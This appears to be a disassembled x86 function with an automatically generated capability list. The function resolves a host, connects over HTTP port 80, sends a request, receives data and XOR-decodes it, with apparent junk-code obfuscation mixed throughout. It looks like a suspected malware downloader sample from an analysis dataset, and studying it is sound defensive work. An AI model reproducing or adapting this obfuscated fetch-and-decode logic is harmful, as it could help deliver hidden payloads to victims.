Function at 0x4081a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
lea ebp, [esp - 0x1440]
mov eax, 0x1440
call fcn.0040c2b0
push 0xffffffffffffffff
push 0x41e1eb
mov eax, dword fs:[0]
push eax
sub esp, 0x40
mov eax, dword [0x425fe0]
xor eax, ebp
mov dword [ebp + 0x143c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x144c]
mov ecx, dword [ebp + 0x1450]
xor ebx, ebx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 4], ebx
mov dword [ebp + 0x1b8], 0xf
mov dword [ebp + 0x1b4], ebx
mov byte [ebp + 0x1a4], bl
fldz
mov esi, dword [ebp + 0x1448]
fst dword [ebp - 0x4c]
fst dword [ebp - 0x38]
xor edx, edx
fst dword [ebp - 0x40]
xor eax, eax
fldz
mov word [ebp - 0x34], dx
mov dword [ebp - 0x30], ebx
fstp qword [ebp - 0x48]
xor ecx, ecx
mov word [ebp - 0x2c], ax
mov word [ebp - 0x14], cx
mov byte [ebp + 0x11bc], al
mov eax, esi
mov dword [ebp - 0x3c], ebx
fstp dword [ebp - 0x20]
mov byte [ebp - 4], 1
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408250
sub eax, edx
mov edi, eax
cmp edi, 0x7f
jg 0x4082de
xor eax, eax
cmp eax, edi
jg 0x408298
mov cl, byte [eax + esi]
mov byte [ebp + eax + 0x13bc], cl
cmp cl, 0x2f
jne 0x408295
mov byte [ebp + eax + 0x13bc], 0
mov ecx, eax
nop
cmp ecx, edi
jg 0x408298
mov bl, byte [ecx + esi]
mov edx, ecx
sub edx, eax
mov byte [ebp + edx + 0x11bc], bl
inc ecx
jmp 0x408280
inc eax
jmp 0x408262
lea eax, [ebp + 0x11bc]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4082a1
mov edi, dword [ebp - 0x24]
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4082b4
sub eax, esi
add eax, edx
cmp eax, 0x1ff
jbe 0x408303
cmp dword [ebp + 0x1b8], 0x10
jb 0x4082de
mov eax, dword [ebp + 0x1a4]
push eax
call fcn.0040a97a
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x143c]
xor ecx, ebp
call fcn.0040b3b3
add ebp, 0x1440
mov esp, ebp
pop ebp
ret
inc word [0x4243f0]
fld qword [0x4253a0]
mov cx, word [0x4243f0]
fsub qword [0x41f878]
movsx edx, cx
mov dword [ebp - 0x24], edx
mov eax, edi
mov ecx, edi
fild dword [ebp - 0x24]
fsubp st(1)
fmul qword [ebp - 0x48]
fstp qword [ebp - 0x48]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x408332
lea edi, [ebp + 0x11bc]
or ebx, 0xffffffff
sub eax, ecx
mov esi, ecx
add edi, ebx
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x408348
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 5
push 0x4241e4
rep movsb byte es:[edi], byte [esi]
call fcn.00401340
mov esi, eax
mov eax, dword [ebp - 0x30]
add esp, 8
imul eax, eax, 0x44be44e0
mov dword [ebp - 0x30], eax
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408380
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.004078f0
fldz
mov cx, word [0x424384]
movsx edx, cx
mov dword [0x4258e0], edx
xor eax, eax
xor edi, edi
fstp qword [ebp - 0x1c]
mov dword [esi], eax
push esi
mov dword [ebp - 0x18], edi
mov byte [esi + 4], al
call fcn.0040b325
lea eax, [ebp + 0x11bc]
add esp, 4
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4083d0
sub eax, edx
push eax
lea eax, [ebp + 0x11bc]
push eax
lea ecx, [ebp + 0x1a0]
call fcn.00408060
push 0x32
push 0x4244ec
call fcn.00401340
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408400
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408060
fldz
push 0x32
mov dword [ebp - 0x30], 0xff78cb1f
fstp qword [ebp - 0x1c]
push edi
mov dword [ebp - 0x18], edi
push esi
call fcn.0040b3d0
push esi
call fcn.0040b325
add dword [ebp - 0x3c], ebx
mov cx, word [ebp - 0x2c]
mov eax, dword [ebp - 0x3c]
movsx edx, cx
add esp, 0x10
sub edx, eax
mov dword [ebp - 0x24], edx
lea eax, [ebp + 0x13bc]
lea edx, [eax + 1]
fild dword [ebp - 0x24]
fadd dword [ebp - 0x20]
fstp dword [ebp - 0x20]
jmp 0x408460
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408460
sub eax, edx
push eax
lea ecx, [ebp + 0x13bc]
push ecx
lea ecx, [ebp + 0x1a0]
call fcn.00408060
push 5
push 0x424208
call fcn.00401340
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408490
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408060
fld qword [0x424398]
fsub qword [0x41f358]
xor eax, eax
push esi
fstp qword [0x424398]
fld qword [0x424398]
fadd qword [0x4253a0]
mov dword [esi], eax
mov byte [esi + 4], al
fstp dword [ebp - 0x20]
fldz
fstp qword [ebp - 0x1c]
mov dword [ebp - 0x18], edi
call fcn.0040b325
add esp, 4
lea edx, [ebp]
push edx
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x4082c6
push 6
push 1
push 2
call sub.WS2_32.dll_socket
mov cx, word [0x425988]
mov esi, eax
movsx edx, cx
mov ecx, dword [0x4244bc]
mov eax, 0x1d50fac8
sub eax, edx
sub eax, ecx
add dword [0x423cf8], eax
mov dword [ebp - 0x24], esi
cmp esi, ebx
jne 0x408599
call sub.WS2_32.dll_WSACleanup
mov dx, word [0x424484]
mov ecx, dword [ebp - 0x30]
movsx eax, dx
mov edx, 0x39555959
add eax, 0x9fcd1b77
sub edx, ecx
cmp eax, edx
jne 0x40856e
fld qword [0x425928]
fld dword [ebp - 0x40]
mov eax, dword [0x4242cc]
mov dword [ebp - 0x24], eax
fisub dword [ebp - 0x24]
fsubp st(1)
fstp qword [0x425928]
add dword [0x4242cc], ebx
jmp 0x408580
fld qword [0x424180]
fmul qword [0x41f870]
fstp qword [0x424180]
cmp dword [ebp + 0x1b8], 0x10
jb 0x4082de
mov ecx, dword [ebp + 0x1a4]
push ecx
jmp 0x4082d6
fld dword [ebp - 0x20]
fsub qword [0x41f358]
fstp dword [ebp - 0x20]
fld dword [ebp - 0x20]
fadd qword [0x41f868]
fmul qword [0x423ce0]
fstp qword [0x423ce0]
cmp dword [ebp + 0x1458], edi
je 0x4085db
push 4
lea edx, [ebp + 0x1458]
push edx
push 0x1006
push 0xffff
push esi
call fcn.0040a6f8
lea eax, [ebp + 0x13bc]
push eax
call sub.WS2_32.dll_gethostbyname
mov cx, word [0x423d0c]
movsx edx, cx
sub edx, 0x1ca75488
cmp edx, 0xca902a1b
mov edi, eax
jge 0x408613
mov eax, dword [0x424470]
imul eax, eax, 0x1c8b5fc2
mov dword [0x424470], eax
jmp 0x40863b
add dword [0x424400], ebx
fld dword [0x425dc8]
mov ecx, dword [0x424400]
fsub qword [0x41f860]
mov dword [ebp - 0x18], ecx
fisub dword [ebp - 0x18]
call fcn.0040adf0
mov dword [0x424748], eax
test edi, edi
je 0x408ad6
fld qword [ebp - 0x48]
mov ax, word [ebp - 0x14]
fadd qword [0x41f858]
movsx ecx, ax
mov dword [ebp - 0x18], ecx
fild dword [ebp - 0x18]
faddp st(1)
call fcn.0040adf0
mov word [ebp - 0x14], ax
fld qword [ebp - 0x48]
fadd qword [0x41f358]
mov edx, 2
mov word [ebp + 0x190], dx
mov eax, dword [edi + 0xc]
mov ecx, dword [eax]
fstp qword [ebp - 0x48]
mov edx, dword [ecx]
push edx
call sub.WS2_32.dll_inet_ntoa
push eax
call fcn.0040a6e6
push 0x50
mov dword [ebp + 0x194], eax
call sub.WS2_32.dll_htons
mov word [ebp + 0x192], ax
mov edi, 0x10
push edi
lea eax, [ebp + 0x190]
push eax
push esi
call sub.WS2_32.dll_connect
cmp eax, ebx
jne 0x4086c5
cmp dword [ebp + 0x1b8], edi
jmp 0x408587
mov eax, dword [ebp + 0x1a4]
cmp dword [ebp + 0x1b8], edi
jae 0x4086d9
lea eax, [ebp + 0x1a4]
mov edx, dword [ebp + 0x1b4]
push 0
push edx
push eax
push esi
call sub.WS2_32.dll_send
cmp eax, dword [ebp + 0x1b4]
jae 0x408714
fld qword [ebp - 0x48]
fsub qword [ebp - 0x48]
fadd dword [ebp - 0x20]
fstp dword [ebp - 0x38]
fld dword [ebp - 0x20]
cmp dword [ebp + 0x1b8], edi
fadd qword [0x41f358]
fstp dword [ebp - 0x20]
jmp 0x4082cd
inc dword [0x42434c]
fld dword [0x4241f4]
fadd dword [0x425340]
mov ecx, dword [0x42434c]
mov dword [ebp - 0x18], ecx
fsub qword [0x41f850]
fild dword [ebp - 0x18]
fadd dword [0x425318]
fsub qword [0x41f848]
fcompp
fnstsw ax
test ah, 5
jp 0x40875f
fld qword [0x4241c0]
fmul qword [0x424768]
fstp qword [0x424768]
mov ecx, dword [ebp - 0x28]
push 0
push 0x41f840
call fcn.004078f0
or edi, 0xffffffff
or ebx, edi
mov eax, dword [ebp - 0x24]
push 0
push 0x1000
lea edx, [ebp + 0x1bc]
push edx
push eax
call sub.WS2_32.dll_recv
test eax, eax
jg 0x4087af
mov cx, word [0x4259ac]
mov edx, dword [0x424438]
movsx eax, cx
lea eax, [edx + eax + 0x7ff7056b]
mov dword [0x424438], eax
jmp 0x40892d
push eax
lea ecx, [ebp + 0x1bc]
push ecx
mov ecx, dword [ebp - 0x28]
call fcn.00408060
test edi, edi
jge 0x4088eb
push 5
push 0x424208
call fcn.00401340
add esp, 8
mov esi, eax
lea edx, [eax + 1]
jmp 0x4087e0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4087e0
mov ecx, dword [ebp - 0x28]
sub eax, edx
push eax
push 0
push esi
call fcn.00404580
fldz
mov edi, eax
fstp qword [ebp - 0x48]
xor eax, eax
mov dword [esi], eax
push esi
mov dword [ebp - 0x18], eax
mov byte [esi + 4], al
call fcn.0040b325
add esp, 4
test edi, edi
jl 0x4088eb
mov edx, dword [ebp - 0x28]
push edx
add edi, 4
call fcn.00406ab0
mov ebx, eax
movzx eax, word [ebp - 0x2c]
add eax, 0x45633721
add esp, 4
mov dword [ebp - 0x20], ebx
mov word [ebp - 0x2c], ax
test ebx, ebx
jge 0x4088eb
fld dword [ebp - 0x40]
fadd qword [0x41f838]
fcomp qword [0x41f830]
fnstsw ax
test ah, 1
jne 0x4088a0
fld dword [0x4253c4]
fadd qword [0x41f358]
fstp dword [0x4253c4]
mov cx, word [ebp - 0x14]
movsx edx, cx
mov dword [ebp - 0x18], edx
fild dword [ebp - 0x18]
fsub qword [0x424728]
fadd dword [0x4253c4]
fcomp qword [0x41f828]
fnstsw ax
test ah, 1
jne 0x4088a0
fld dword [0x4247e8]
fmul dword [0x425978]
fstp dword [0x425978]
push 0xb
push 0x4247d0
call fcn.00401340
mov ecx, dword [ebp - 0x28]
add esp, 8
mov esi, eax
push 0
push esi
call fcn.004064d0
push esi
push 0xb
mov ebx, eax
call fcn.00401cc0
fld qword [0x4253e8]
mov ax, word [ebp - 0x2c]
movsx ecx, ax
mov dword [ebp - 0x18], ecx
add esp, 8
fild dword [ebp - 0x18]
fsubp st(1)
fstp qword [0x4253e8]
test ebx, ebx
jge 0x40892d
mov ebx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x3c]
movzx ecx, word [ebp - 0x14]
mov eax, 0xeca3c053
sub eax, edx
imul eax, ecx
mov word [ebp - 0x14], ax
test ebx, ebx
jl 0x408910
mov edx, dword [ebp - 0x28]
mov eax, dword [edx + 0x14]
sub eax, edi
cmp eax, ebx
jae 0x40892d
cmp dword [ebp + 0x1458], 0
je 0x408773
mov eax, dword [ebp - 0x28]
cmp dword [eax + 0x14], 0x4000
jb 0x408773
fld dword [ebp - 0x40]
mov ecx, dword [ebp - 0x24]
fmul qword [0x41f820]
push ecx
fstp dword [ebp - 0x40]
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
mov eax, 1
add word [0x423d6c], ax
mov dx, word [0x423d6c]
movsx ecx, dx
sub ecx, 0x1319653d
cmp ecx, 0x6a520349
jg 0x408985
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x18], edx
fild dword [ebp - 0x18]
fadd qword [0x4247c0]
fstp qword [0x4247c0]
add dword [ebp - 0x30], eax
jmp 0x4089c6
mov ecx, dword [0x4243c0]
add dword [0x4243c0], eax
sub ecx, 0x469d9a1d
cmp ecx, 0x186497a4
jge 0x4089b2
fld dword [ebp - 0x38]
fld dword [ebp - 0x38]
fsub qword [0x41f818]
fsubp st(1)
fstp dword [ebp - 0x38]
jmp 0x4089c6
movzx edx, word [0x425398]
imul edx, edx, 0xadae5527
mov word [0x425398], dx
test edi, edi
jl 0x4089d9
push edi
mov edi, dword [ebp - 0x28]
push 0
mov ecx, edi
call fcn.00406440
jmp 0x4089dc
mov edi, dword [ebp - 0x28]
fld dword [0x424274]
call fcn.0040adf0
mov bl, byte [ebp + 0x1454]
mov word [ebp - 0x14], ax
fld dword [0x424274]
fld1
fadd st(1), st(0)
fxch st(1)
fstp dword [0x424274]
test bl, bl
je 0x408ad4
fld dword [ebp - 0x4c]
fadd st(1)
fstp dword [ebp - 0x4c]
mov ax, word [ebp - 0x14]
movsx ecx, ax
mov dword [ebp - 0x18], ecx
fild dword [ebp - 0x18]
fld dword [ebp - 0x4c]
fadd dword [0x424274]
fsubp st(1)
call fcn.0040adf0
mov word [ebp - 0x14], ax
fsubr dword [0x424274]
xor esi, esi
fstp dword [0x424274]
cmp esi, dword [edi + 0x14]
jae 0x408ad6
dec dword [ebp - 0x34]
mov dx, word [ebp - 0x34]
movsx eax, dx
cmp eax, 0x5fc54f34
jg 0x408a8b
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x18], ecx
fild dword [ebp - 0x18]
fadd dword [0x425de4]
mov dx, word [ebp - 0x34]
movsx eax, dx
mov dword [ebp - 0x18], eax
fsub qword [0x41f810]
fild dword [ebp - 0x18]
fmulp st(1)
call fcn.0040adf0
mov word [ebp - 0x34], ax
jmp 0x408aab
fld qword [0x424390]
mov ecx, dword [0x424310]
add ecx, 0x1086ac74
mov dword [ebp - 0x18], ecx
fild dword [ebp - 0x18]
fsubp st(1)
fstp qword [0x424390]
cmp esi, dword [edi + 0x14]
jbe 0x408ab5
call fcn.0040bcad
cmp dword [edi + 0x18], 0x10
jb 0x408ac7
mov eax, dword [edi + 4]
xor byte [eax + esi], bl
inc esi
jmp 0x408a42
xor byte [edi + esi + 4], bl
lea eax, [edi + 4]
inc esi
jmp 0x408a42
fstp st(0)
cmp dword [ebp + 0x1b8], 0x10
jb 0x4082de
mov edx, dword [ebp + 0x1a4]
push edx
jmp 0x4082d6